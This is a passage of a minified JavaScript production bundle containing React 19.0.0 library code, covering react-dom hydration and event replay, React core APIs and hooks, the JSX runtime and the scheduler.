Sf(e,t,n){for(var r=n.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),a=r.length?r[r.length-1]:null,i=a,s=0;s<r.length;s++){var o=r[s];if(o.dataset.precedence===t)i=o;else if(i!==a)break}i?i.parentNode.insertBefore(e,i.nextSibling):(t=9===n.nodeType?n.head:n).insertBefore(e,t.firstChild)}function xf(e,t){null==e.crossOrigin&&(e.crossOrigin=t.crossOrigin),null==e.referrerPolicy&&(e.referrerPolicy=t.referrerPolicy),null==e.title&&(e.title=t.title)}function Pf(e,t){null==e.crossOrigin&&(e.crossOrigin=t.crossOrigin),null==e.referrerPolicy&&(e.referrerPolicy=t.referrerPolicy),null==e.integrity&&(e.integrity=t.integrity)}var Cf=null;function Nf(e,t,n){if(null===Cf){var r=new Map,a=Cf=new Map;a.set(n,r)}else(r=(a=Cf).get(n))||(r=new Map,a.set(n,r));if(r.has(e))return r;for(r.set(e,null),n=n.getElementsByTagName(e),a=0;a<n.length;a++){var i=n[a];if(!(i[Ve]||i[Me]||"link"===e&&"stylesheet"===i.getAttribute("rel"))&&"http://www.w3.org/2000/svg"!==i.namespaceURI){var s=i.getAttribute(t)||"";s=e+s;var o=r.get(s);o?o.push(i):r.set(s,[i])}}return r}function Of(e,t,n){(e=e.ownerDocument||e).head.insertBefore(n,"title"===t?e.querySelector("head > title"):null)}function Tf(e){return"stylesheet"!==e.type||0!==(3&e.state.loading)}var Rf=null;function If(){}function Bf(){if(this.count--,0===this.count)if(this.stylesheets)Lf(this,this.stylesheets);else if(this.unsuspend){var e=this.unsuspend;this.unsuspend=null,e()}}var Ff=null;function Lf(e,t){e.stylesheets=null,null!==e.unsuspend&&(e.count++,Ff=new Map,t.forEach(Df,e),Ff=null,Bf.call(e))}function Df(e,t){if(!(4&t.state.loading)){var n=Ff.get(e);if(n)var r=n.get(null);else{n=new Map,Ff.set(e,n);for(var a=e.querySelectorAll("link[data-precedence],style[data-precedence]"),i=0;i<a.length;i++){var s=a[i];"LINK"!==s.nodeName&&"not all"===s.getAttribute("media")||(n.set(s.dataset.precedence,s),r=s)}r&&n.set(null,r)}s=(a=t.instance).getAttribute("data-precedence"),(i=n.get(s)||r)===r&&n.set(null,a),n.set(s,a),this.count++,r=Bf.bind(this),a.addEventListener("load",r),a.addEventListener("error",r),i?i.parentNode.insertBefore(a,i.nextSibling):(e=9===e.nodeType?e.head:e).insertBefore(a,e.firstChild),t.state.loading|=4}}var Uf={$$typeof:m,Provider:null,Consumer:null,_currentValue:G,_currentValue2:G,_threadCount:0};function Mf(e,t,n,r,a,i,s,o){this.tag=1,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=Re(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.finishedLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Re(0),this.hiddenUpdates=Re(null),this.identifierPrefix=r,this.onUncaughtError=a,this.onCaughtError=i,this.onRecoverableError=s,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=o,this.incompleteTransitions=new Map}function zf(e,t,n,r,a,i,s,o,l,u,c,f){return e=new Mf(e,t,n,s,o,l,u,f),t=1,!0===i&&(t|=24),i=Ll(3,null,null,t),e.current=i,i.stateNode=e,(t=_a()).refCount++,e.pooledCache=t,t.refCount++,i.memoizedState={element:r,isDehydrated:n,cache:t},Oo(i),e}function _f(e){return e?e=Ir:Ir}function Hf(e,t,n,r,a,i){a=_f(a),null===r.context?r.context=a:r.pendingContext=a,(r=Ro(t)).payload={element:n},null!==(i=void 0===i?null:i)&&(r.callback=i),null!==(n=Io(e,r,t))&&(Iu(n,0,t),Bo(n,e,t))}function jf(e,t){if(null!==(e=e.memoizedState)&&null!==e.dehydrated){var n=e.retryLane;e.retryLane=0!==n&&n<t?n:t}}function Gf(e,t){jf(e,t),(e=e.alternate)&&jf(e,t)}function Qf(e){if(13===e.tag){var t=Or(e,67108864);null!==t&&Iu(t,0,67108864),Gf(e,67108864)}}var Vf=!0;function Jf(e,t,n,r){var a=T.T;T.T=null;var i=j.p;try{j.p=2,Kf(e,t,n,r)}finally{j.p=i,T.T=a}}function qf(e,t,n,r){var a=T.T;T.T=null;var i=j.p;try{j.p=8,Kf(e,t,n,r)}finally{j.p=i,T.T=a}}function Kf(e,t,n,r){if(Vf){var a=Wf(r);if(null===a)Fc(e,t,r,Yf,n),od(e,r);else if(function(e,t,n,r,a){switch(t){case"focusin":return ed=ld(ed,e,t,n,r,a),!0;case"dragenter":return td=ld(td,e,t,n,r,a),!0;case"mouseover":return nd=ld(nd,e,t,n,r,a),!0;case"pointerover":var i=a.pointerId;return rd.set(i,ld(rd.get(i)||null,e,t,n,r,a)),!0;case"gotpointercapture":return i=a.pointerId,ad.set(i,ld(ad.get(i)||null,e,t,n,r,a)),!0}return!1}(a,e,t,n,r))r.stopPropagation();else if(od(e,r),4&t&&-1<sd.indexOf(e)){for(;null!==a;){var i=Ke(a);if(null!==i)switch(i.tag){case 3:if((i=i.stateNode).current.memoizedState.isDehydrated){var s=xe(i.pendingLanes);if(0!==s){var o=i;for(o.pendingLanes|=2,o.entangledLanes|=2;s;){var l=1<<31-ve(s);o.entanglements[1]|=l,s&=~l}gc(i),0===(6&eu)&&(vu=le()+500,mc(0,!1))}}break;case 13:null!==(o=Or(i,2))&&Iu(o,0,2),Mu(),Gf(i,2)}if(null===(i=Wf(r))&&Fc(e,t,r,Yf,n),i===a)break;a=i}null!==a&&r.stopPropagation()}else Fc(e,t,r,null,n)}}function Wf(e){return Zf(e=Rt(e))}var Yf=null;function Zf(e){if(Yf=null,null!==(e=qe(e))){var t=U(e);if(null===t)e=null;else{var n=t.tag;if(13===n){if(null!==(e=M(t)))return e;e=null}else if(3===n){if(t.stateNode.current.memoizedState.isDehydrated)return 3===t.tag?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null)}}return Yf=e,null}function Xf(e){switch(e){case"beforetoggle":case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"toggle":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 2;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 8;case"message":switch(ue()){case ce:return 2;case fe:return 8;case de:case he:return 32;case pe:return 268435456;default:return 32}default:return 32}}var $f=!1,ed=null,td=null,nd=null,rd=new Map,ad=new Map,id=[],sd="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset".split(" ");function od(e,t){switch(e){case"focusin":case"focusout":ed=null;break;case"dragenter":case"dragleave":td=null;break;case"mouseover":case"mouseout":nd=null;break;case"pointerover":case"pointerout":rd.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":ad.delete(t.pointerId)}}function ld(e,t,n,r,a,i){return null===e||e.nativeEvent!==i?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:i,targetContainers:[a]},null!==t&&(null!==(t=Ke(t))&&Qf(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,null!==a&&-1===t.indexOf(a)&&t.push(a),e)}function ud(e){var t=qe(e.target);if(null!==t){var n=U(t);if(null!==n)if(13===(t=n.tag)){if(null!==(t=M(n)))return e.blockedOn=t,void function(e,t){var n=j.p;try{return j.p=e,t()}finally{j.p=n}}(e.priority,(function(){if(13===n.tag){var e=Tu(),t=Or(n,e);null!==t&&Iu(t,0,e),Gf(n,e)}}))}else if(3===t&&n.stateNode.current.memoizedState.isDehydrated)return void(e.blockedOn=3===n.tag?n.stateNode.containerInfo:null)}e.blockedOn=null}function cd(e){if(null!==e.blockedOn)return!1;for(var t=e.targetContainers;0<t.length;){var n=Wf(e.nativeEvent);if(null!==n)return null!==(t=Ke(n))&&Qf(t),e.blockedOn=n,!1;var r=new(n=e.nativeEvent).constructor(n.type,n);Tt=r,n.target.dispatchEvent(r),Tt=null,t.shift()}return!0}function fd(e,t,n){cd(e)&&n.delete(t)}function dd(){$f=!1,null!==ed&&cd(ed)&&(ed=null),null!==td&&cd(td)&&(td=null),null!==nd&&cd(nd)&&(nd=null),rd.forEach(fd),ad.forEach(fd)}function hd(e,t){e.blockedOn===t&&(e.blockedOn=null,$f||($f=!0,r.unstable_scheduleCallback(r.unstable_NormalPriority,dd)))}var pd=null;function gd(e){pd!==e&&(pd=e,r.unstable_scheduleCallback(r.unstable_NormalPriority,(function(){pd===e&&(pd=null);for(var t=0;t<e.length;t+=3){var n=e[t],r=e[t+1],a=e[t+2];if("function"!==typeof r){if(null===Zf(r||n))continue;break}var i=Ke(n);null!==i&&(e.splice(t,3),t-=3,cs(i,{pending:!0,data:a,method:n.method,action:r},r,a))}})))}function md(e){function t(t){return hd(t,e)}null!==ed&&hd(ed,e),null!==td&&hd(td,e),null!==nd&&hd(nd,e),rd.forEach(t),ad.forEach(t);for(var n=0;n<id.length;n++){var r=id[n];r.blockedOn===e&&(r.blockedOn=null)}for(;0<id.length&&null===(n=id[0]).blockedOn;)ud(n),null===n.blockedOn&&id.shift();if(null!=(n=(e.ownerDocument||e).$$reactFormReplay))for(r=0;r<n.length;r+=3){var a=n[r],i=n[r+1],s=a[ze]||null;if("function"===typeof i)s||gd(n);else if(s){var o=null;if(i&&i.hasAttribute("formAction")){if(a=i,s=i[ze]||null)o=s.formAction;else if(null!==Zf(a))continue}else o=s.action;"function"===typeof o?n[r+1]=o:(n.splice(r,3),r-=3),gd(n)}}}function yd(e){this._internalRoot=e}function bd(e){this._internalRoot=e}bd.prototype.render=yd.prototype.render=function(e){var t=this._internalRoot;if(null===t)throw Error(s(409));Hf(t.current,Tu(),e,t,null,null)},bd.prototype.unmount=yd.prototype.unmount=function(){var e=this._internalRoot;if(null!==e){this._internalRoot=null;var t=e.containerInfo;0===e.tag&&tc(),Hf(e.current,2,null,e,null,null),Mu(),t[_e]=null}},bd.prototype.unstable_scheduleHydration=function(e){if(e){var t=De();e={blockedOn:null,target:e,priority:t};for(var n=0;n<id.length&&0!==t&&t<id[n].priority;n++);id.splice(n,0,e),0===n&&ud(e)}};var wd=a.version;if("19.0.0"!==wd)throw Error(s(527,wd,"19.0.0"));j.findDOMNode=function(e){var t=e._reactInternals;if(void 0===t){if("function"===typeof e.render)throw Error(s(188));throw e=Object.keys(e).join(","),Error(s(268,e))}return e=function(e){var t=e.alternate;if(!t){if(null===(t=U(e)))throw Error(s(188));return t!==e?null:e}for(var n=e,r=t;;){var a=n.return;if(null===a)break;var i=a.alternate;if(null===i){if(null!==(r=a.return)){n=r;continue}break}if(a.child===i.child){for(i=a.child;i;){if(i===n)return z(a),e;if(i===r)return z(a),t;i=i.sibling}throw Error(s(188))}if(n.return!==r.return)n=a,r=i;else{for(var o=!1,l=a.child;l;){if(l===n){o=!0,n=a,r=i;break}if(l===r){o=!0,r=a,n=i;break}l=l.sibling}if(!o){for(l=i.child;l;){if(l===n){o=!0,n=i,r=a;break}if(l===r){o=!0,r=i,n=a;break}l=l.sibling}if(!o)throw Error(s(189))}}if(n.alternate!==r)throw Error(s(190))}if(3!==n.tag)throw Error(s(188));return n.stateNode.current===n?e:t}(t),e=null===(e=null!==e?_(e):null)?null:e.stateNode};var vd={bundleType:0,version:"19.0.0",rendererPackageName:"react-dom",currentDispatcherRef:T,findFiberByHostInstance:qe,reconcilerVersion:"19.0.0"};if("undefined"!==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__){var Ad=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!Ad.isDisabled&&Ad.supportsFiber)try{ye=Ad.inject(vd),be=Ad}catch(Ed){}}t.createRoot=function(e,t){if(!o(e))throw Error(s(299));var n=!1,r="",a=Fs,i=Ls,l=Ds;return null!==t&&void 0!==t&&(!0===t.unstable_strictMode&&(n=!0),void 0!==t.identifierPrefix&&(r=t.identifierPrefix),void 0!==t.onUncaughtError&&(a=t.onUncaughtError),void 0!==t.onCaughtError&&(i=t.onCaughtError),void 0!==t.onRecoverableError&&(l=t.onRecoverableError),void 0!==t.unstable_transitionCallbacks&&t.unstable_transitionCallbacks),t=zf(e,1,!1,null,0,n,r,a,i,l,0,null),e[_e]=t.current,Ic(8===e.nodeType?e.parentNode:e),new yd(t)},t.hydrateRoot=function(e,t,n){if(!o(e))throw Error(s(299));var r=!1,a="",i=Fs,l=Ls,u=Ds,c=null;return null!==n&&void 0!==n&&(!0===n.unstable_strictMode&&(r=!0),void 0!==n.identifierPrefix&&(a=n.identifierPrefix),void 0!==n.onUncaughtError&&(i=n.onUncaughtError),void 0!==n.onCaughtError&&(l=n.onCaughtError),void 0!==n.onRecoverableError&&(u=n.onRecoverableError),void 0!==n.unstable_transitionCallbacks&&n.unstable_transitionCallbacks,void 0!==n.formState&&(c=n.formState)),(t=zf(e,1,!0,t,0,r,a,i,l,u,0,c)).context=_f(null),n=t.current,(a=Ro(r=Tu())).callback=null,Io(n,a,r),t.current.lanes=r,Ie(t,r),gc(t),e[_e]=t.current,Ic(e),new bd(t)},t.version="19.0.0"},43:(e,t,n)=>{e.exports=n(288)},288:(e,t)=>{var n=Symbol.for("react.transitional.element"),r=Symbol.for("react.portal"),a=Symbol.for("react.fragment"),i=Symbol.for("react.strict_mode"),s=Symbol.for("react.profiler"),o=Symbol.for("react.consumer"),l=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),c=Symbol.for("react.suspense"),f=Symbol.for("react.memo"),d=Symbol.for("react.lazy"),h=Symbol.iterator;var p={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},g=Object.assign,m={};function y(e,t,n){this.props=e,this.context=t,this.refs=m,this.updater=n||p}function b(){}function w(e,t,n){this.props=e,this.context=t,this.refs=m,this.updater=n||p}y.prototype.isReactComponent={},y.prototype.setState=function(e,t){if("object"!==typeof e&&"function"!==typeof e&&null!=e)throw Error("takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")},y.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")},b.prototype=y.prototype;var v=w.prototype=new b;v.constructor=w,g(v,y.prototype),v.isPureReactComponent=!0;var A=Array.isArray,k={H:null,A:null,T:null,S:null},E=Object.prototype.hasOwnProperty;function S(e,t,r,a,i,s){return r=s.ref,{$$typeof:n,type:e,key:t,ref:void 0!==r?r:null,props:s}}function x(e){return"object"===typeof e&&null!==e&&e.$$typeof===n}var P=/\/+/g;function C(e,t){return"object"===typeof e&&null!==e&&null!=e.key?function(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,(function(e){return t[e]}))}(""+e.key):t.toString(36)}function N(){}function O(e,t,a,i,s){var o=typeof e;"undefined"!==o&&"boolean"!==o||(e=null);var l,u,c=!1;if(null===e)c=!0;else switch(o){case"bigint":case"string":case"number":c=!0;break;case"object":switch(e.$$typeof){case n:case r:c=!0;break;case d:return O((c=e._init)(e._payload),t,a,i,s)}}if(c)return s=s(e),c=""===i?"."+C(e,0):i,A(s)?(a="",null!=c&&(a=c.replace(P,"$&/")+"/"),O(s,t,a,"",(function(e){return e}))):null!=s&&(x(s)&&(l=s,u=a+(null==s.key||e&&e.key===s.key?"":(""+s.key).replace(P,"$&/")+"/")+c,s=S(l.type,u,void 0,0,0,l.props)),t.push(s)),1;c=0;var f,p=""===i?".":i+":";if(A(e))for(var g=0;g<e.length;g++)c+=O(i=e[g],t,a,o=p+C(i,g),s);else if("function"===typeof(g=null===(f=e)||"object"!==typeof f?null:"function"===typeof(f=h&&f[h]||f["@@iterator"])?f:null))for(e=g.call(e),g=0;!(i=e.next()).done;)c+=O(i=i.value,t,a,o=p+C(i,g++),s);else if("object"===o){if("function"===typeof e.then)return O(function(e){switch(e.status){case"fulfilled":return e.value;case"rejected":throw e.reason;default:switch("string"===typeof e.status?e.then(N,N):(e.status="pending",e.then((function(t){"pending"===e.status&&(e.status="fulfilled",e.value=t)}),(function(t){"pending"===e.status&&(e.status="rejected",e.reason=t)}))),e.status){case"fulfilled":return e.value;case"rejected":throw e.reason}}throw e}(e),t,a,i,s);throw t=String(e),Error("Objects are not valid as a React child (found: "+("[object Object]"===t?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.")}return c}function T(e,t,n){if(null==e)return e;var r=[],a=0;return O(e,r,"","",(function(e){return t.call(n,e,a++)})),r}function R(e){if(-1===e._status){var t=e._result;(t=t()).then((function(t){0!==e._status&&-1!==e._status||(e._status=1,e._result=t)}),(function(t){0!==e._status&&-1!==e._status||(e._status=2,e._result=t)})),-1===e._status&&(e._status=0,e._result=t)}if(1===e._status)return e._result.default;throw e._result}var I="function"===typeof reportError?reportError:function(e){if("object"===typeof window&&"function"===typeof window.ErrorEvent){var t=new window.ErrorEvent("error",{bubbles:!0,cancelable:!0,message:"object"===typeof e&&null!==e&&"string"===typeof e.message?String(e.message):String(e),error:e});if(!window.dispatchEvent(t))return}else if("object"===typeof process&&"function"===typeof process.emit)return void process.emit("uncaughtException",e);console.error(e)};function B(){}t.Children={map:T,forEach:function(e,t,n){T(e,(function(){t.apply(this,arguments)}),n)},count:function(e){var t=0;return T(e,(function(){t++})),t},toArray:function(e){return T(e,(function(e){return e}))||[]},only:function(e){if(!x(e))throw Error("React.Children.only expected to receive a single React element child.");return e}},t.Component=y,t.Fragment=a,t.Profiler=s,t.PureComponent=w,t.StrictMode=i,t.Suspense=c,t.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=k,t.act=function(){throw Error("act(...) is not supported in production builds of React.")},t.cache=function(e){return function(){return e.apply(null,arguments)}},t.cloneElement=function(e,t,n){if(null===e||void 0===e)throw Error("The argument must be a React element, but you passed "+e+".");var r=g({},e.props),a=e.key;if(null!=t)for(i in void 0!==t.ref&&void 0,void 0!==t.key&&(a=""+t.key),t)!E.call(t,i)||"key"===i||"__self"===i||"__source"===i||"ref"===i&&void 0===t.ref||(r[i]=t[i]);var i=arguments.length-2;if(1===i)r.children=n;else if(1<i){for(var s=Array(i),o=0;o<i;o++)s[o]=arguments[o+2];r.children=s}return S(e.type,a,void 0,0,0,r)},t.createContext=function(e){return(e={$$typeof:l,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null}).Provider=e,e.Consumer={$$typeof:o,_context:e},e},t.createElement=function(e,t,n){var r,a={},i=null;if(null!=t)for(r in void 0!==t.key&&(i=""+t.key),t)E.call(t,r)&&"key"!==r&&"__self"!==r&&"__source"!==r&&(a[r]=t[r]);var s=arguments.length-2;if(1===s)a.children=n;else if(1<s){for(var o=Array(s),l=0;l<s;l++)o[l]=arguments[l+2];a.children=o}if(e&&e.defaultProps)for(r in s=e.defaultProps)void 0===a[r]&&(a[r]=s[r]);return S(e,i,void 0,0,0,a)},t.createRef=function(){return{current:null}},t.forwardRef=function(e){return{$$typeof:u,render:e}},t.isValidElement=x,t.lazy=function(e){return{$$typeof:d,_payload:{_status:-1,_result:e},_init:R}},t.memo=function(e,t){return{$$typeof:f,type:e,compare:void 0===t?null:t}},t.startTransition=function(e){var t=k.T,n={};k.T=n;try{var r=e(),a=k.S;null!==a&&a(n,r),"object"===typeof r&&null!==r&&"function"===typeof r.then&&r.then(B,I)}catch(i){I(i)}finally{k.T=t}},t.unstable_useCacheRefresh=function(){return k.H.useCacheRefresh()},t.use=function(e){return k.H.use(e)},t.useActionState=function(e,t,n){return k.H.useActionState(e,t,n)},t.useCallback=function(e,t){return k.H.useCallback(e,t)},t.useContext=function(e){return k.H.useContext(e)},t.useDebugValue=function(){},t.useDeferredValue=function(e,t){return k.H.useDeferredValue(e,t)},t.useEffect=function(e,t){return k.H.useEffect(e,t)},t.useId=function(){return k.H.useId()},t.useImperativeHandle=function(e,t,n){return k.H.useImperativeHandle(e,t,n)},t.useInsertionEffect=function(e,t){return k.H.useInsertionEffect(e,t)},t.useLayoutEffect=function(e,t){return k.H.useLayoutEffect(e,t)},t.useMemo=function(e,t){return k.H.useMemo(e,t)},t.useOptimistic=function(e,t){return k.H.useOptimistic(e,t)},t.useReducer=function(e,t,n){return k.H.useReducer(e,t,n)},t.useRef=function(e){return k.H.useRef(e)},t.useState=function(e){return k.H.useState(e)},t.useSyncExternalStore=function(e,t,n){return k.H.useSyncExternalStore(e,t,n)},t.useTransition=function(){return k.H.useTransition()},t.version="19.0.0"},391:(e,t,n)=>{!function e(){if("undefined"!==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}(),e.exports=n(4)},579:(e,t,n)=>{e.exports=n(799)},672:(e,t,n)=>{var r=n(43);function a(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n])}return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function i(){}var s={d:{f:i,r:function(){throw Error(a(522))},D:i,C:i,L:i,m:i,X:i,S:i,M:i},p:0,findDOMNode:null},o=Symbol.for("react.portal");var l=r.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;function u(e,t){return"font"===e?"":"string"===typeof t?"use-credentials"===t?t:"":void 0}t.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE=s,t.createPortal=function(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!t||1!==t.nodeType&&9!==t.nodeType&&11!==t.nodeType)throw Error(a(299));return function(e,t,n){var r=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:o,key:null==r?null:""+r,children:e,containerInfo:t,implementation:n}}(e,t,null,n)},t.flushSync=function(e){var t=l.T,n=s.p;try{if(l.T=null,s.p=2,e)return e()}finally{l.T=t,s.p=n,s.d.f()}},t.preconnect=function(e,t){"string"===typeof e&&(t?t="string"===typeof(t=t.crossOrigin)?"use-credentials"===t?t:"":void 0:t=null,s.d.C(e,t))},t.prefetchDNS=function(e){"string"===typeof e&&s.d.D(e)},t.preinit=function(e,t){if("string"===typeof e&&t&&"string"===typeof t.as){var n=t.as,r=u(n,t.crossOrigin),a="string"===typeof t.integrity?t.integrity:void 0,i="string"===typeof t.fetchPriority?t.fetchPriority:void 0;"style"===n?s.d.S(e,"string"===typeof t.precedence?t.precedence:void 0,{crossOrigin:r,integrity:a,fetchPriority:i}):"script"===n&&s.d.X(e,{crossOrigin:r,integrity:a,fetchPriority:i,nonce:"string"===typeof t.nonce?t.nonce:void 0})}},t.preinitModule=function(e,t){if("string"===typeof e)if("object"===typeof t&&null!==t){if(null==t.as||"script"===t.as){var n=u(t.as,t.crossOrigin);s.d.M(e,{crossOrigin:n,integrity:"string"===typeof t.integrity?t.integrity:void 0,nonce:"string"===typeof t.nonce?t.nonce:void 0})}}else null==t&&s.d.M(e)},t.preload=function(e,t){if("string"===typeof e&&"object"===typeof t&&null!==t&&"string"===typeof t.as){var n=t.as,r=u(n,t.crossOrigin);s.d.L(e,n,{crossOrigin:r,integrity:"string"===typeof t.integrity?t.integrity:void 0,nonce:"string"===typeof t.nonce?t.nonce:void 0,type:"string"===typeof t.type?t.type:void 0,fetchPriority:"string"===typeof t.fetchPriority?t.fetchPriority:void 0,referrerPolicy:"string"===typeof t.referrerPolicy?t.referrerPolicy:void 0,imageSrcSet:"string"===typeof t.imageSrcSet?t.imageSrcSet:void 0,imageSizes:"string"===typeof t.imageSizes?t.imageSizes:void 0,media:"string"===typeof t.media?t.media:void 0})}},t.preloadModule=function(e,t){if("string"===typeof e)if(t){var n=u(t.as,t.crossOrigin);s.d.m(e,{as:"string"===typeof t.as&&"script"!==t.as?t.as:void 0,crossOrigin:n,integrity:"string"===typeof t.integrity?t.integrity:void 0})}else s.d.m(e)},t.requestFormReset=function(e){s.d.r(e)},t.unstable_batchedUpdates=function(e,t){return e(t)},t.useFormState=function(e,t,n){return l.H.useFormState(e,t,n)},t.useFormStatus=function(){return l.H.useHostTransitionStatus()},t.version="19.0.0"},799:(e,t)=>{var n=Symbol.for("react.transitional.element");function r(e,t,r){var a=null;if(void 0!==r&&(a=""+r),void 0!==t.key&&(a=""+t.key),"key"in t)for(var i in r={},t)"key"!==i&&(r[i]=t[i]);else r=t;return t=r.ref,{$$typeof:n,type:e,key:a,ref:void 0!==t?t:null,props:r}}Symbol.for("react.fragment"),t.jsx=r,t.jsxs=r},853:(e,t,n)=>{e.exports=n(896)},896:(e,t)=>{function n(e,t){var n=e.length;e.push(t);e:for(;0<n;){var r=n-1>>>1,a=e[r];if(!(0<i(a,t)))break e;e[r]=t,e[n]=a,n=r}}function r(e){return 0===e.length?null:e[0]}function a(e){if(0===e.length)return null;var t=e[0],n=e.pop();if(n!==t){e[0]=n;e:for(var r=0,a=e.length,s=a>>>1;r<s;){var o=2*(r+1)-1,l=e[o],u=o+1,c=e[u];if(0>i(l,n))u<a&&0>i(c,l)?(e[r]=c,e[u]=n,r=u):(e[r]=l,e[o]=n,r=o);else{if(!(u<a&&0>i(c,n)))break e;e[r]=c,e[u]=n,r=u}}}return t}function i(e,t){var n=e.sortIndex-t.sortIndex;return 0!==n?n:e.id-t.id}if(t.unstable_now=void 0,"object"===typeof performance&&"function"===typeof performance.now){var s=performance;t.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();t.unstable_now=function(){return o.now()-l}}var u=[],c=[],f=1,d=null,h=3,p=!1,g=!1,m=!1,y="function"===typeof setTimeout?setTimeout:null,b="function"===typeof clearTimeout?clearTimeout:null,w="undefined"!==typeof setImmediate?setImmediate:null;function v(e){for(var t=r(c);null!==t;){if(null===t.callback)a(c);else{if(!(t.startTime<=e))break;a(c),t.sortIndex=t.expirationTime,n(u,t)}t=r(c)}}function A(e){if(m=!1,v(e),!g)if(null!==r(u))g=!0,R();else{var t=r(c);null!==t&&I(A,t.startTime-e)}}var k,E=!1,S=-1,x=5,P=-1;function C(){return!(t.unstable_now()-P<x)}function N(){if(E){var e=t.unstable_now();P=e;var n=!0;try{e:{g=!1,m&&(m=!1,b(S),S=-1),p=!0;var i=h;try{t:{for(v(e),d=r(u);null!==d&&!(d.expirationTime>e&&C());){var s=d.callback;if("function"===typeof s){d.callback=null,h=d.priorityLevel;var o=s(d.expirationTime<=e);if(e=t.unstable_now(),"function"===typeof o){d.callback=o,v(e),n=!0;break t}d===r(u)&&a(u),v(e)}else a(u);d=r(u)}if(null!==d)n=!0;else{var l=r(c);null!==l&&I(A,l.startTime-e),n=!1}}break e}finally{d=null,h=i,p=!1}n=void 0}}finally{n?k():E=!1}}}if("function"===typeof w)k=function(){w(N)};else if("undefined"!==typeof MessageChannel){var O=new MessageChannel,T=O.port2;O.port1.onmessage=N,k=function(){T.postMessage(null)}}else k=function(){y(N,0)};function R(){E||(E=!0,k())}function I(e,n){S=y((function(){e(t.unstable_now())}),n)}t.unstable_IdlePriority=5,t.unstable_ImmediatePriority=1,t.unstable_LowPriority=4,t.unstable_NormalPriority=3,t.unstable_Profiling=null,t.unstable_UserBlockingPriority=2,t.unstable_cancelCallback=function(e){e.callback=null},t.unstable_continueExecution=function(){g||p||(g=!0,R())},t.unstable_forceFrameRate=function(e){0>e||125<e?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):x=0<e?Math.floor(1e3/e):5},t.unstable_getCurrentPriorityLevel=function(){return h},t.unstable_getFirstCallbackNode=function(){return r(u)},t.unstable_next=function(e){switch(h){case 1:case 2:case 3:var t=3;break;default:t=h}var n=h;h=t;try{return e()}finally{h=n}},t.unstable_pauseExecution=function(){},t.unstable_requestPaint=function(){},t.unstable_runWithPriority=function(e,t){switch(e){case 1:case 2:case 3:case 4:case 5:break;default:e=3}var n=h;h=e;try{return t()}finally{h=n}},t.unstable_scheduleCallback=function(e,a,i){var s=t.unstable_now();switch("object"===typeof i&&null!==i?i="number"===typeof(i=i.delay)&&0<i?s+i:s:i=s,e){case 1:var o=-1;break;case 2:o=250;break;case 5:o=1073741823;break;case 4:o=1e4;break;default:o=5e3}return e={id:f++,callback:a,priorityLevel:e,startTime:i,expirationTime:o=i+o,sortIndex:-1},i>s?(e.sortIndex=i,n(c,e),null===r(u)&&e===r(c)&&(m?(b(S),S=-1):m=!0,I(A,i-s))):(e.sortIndex=o,n(u,e),g||p||(g=!0,R())),e},t.unstable_shouldYield=C,t.unstable_wrapCallback=function(e){var t=h;return function(){var n=h;h=t;try{return e.apply(this,arguments)}finally{h=n}}}},950:(e,t,n)=>{!function e(){if("undefined"!==typeof 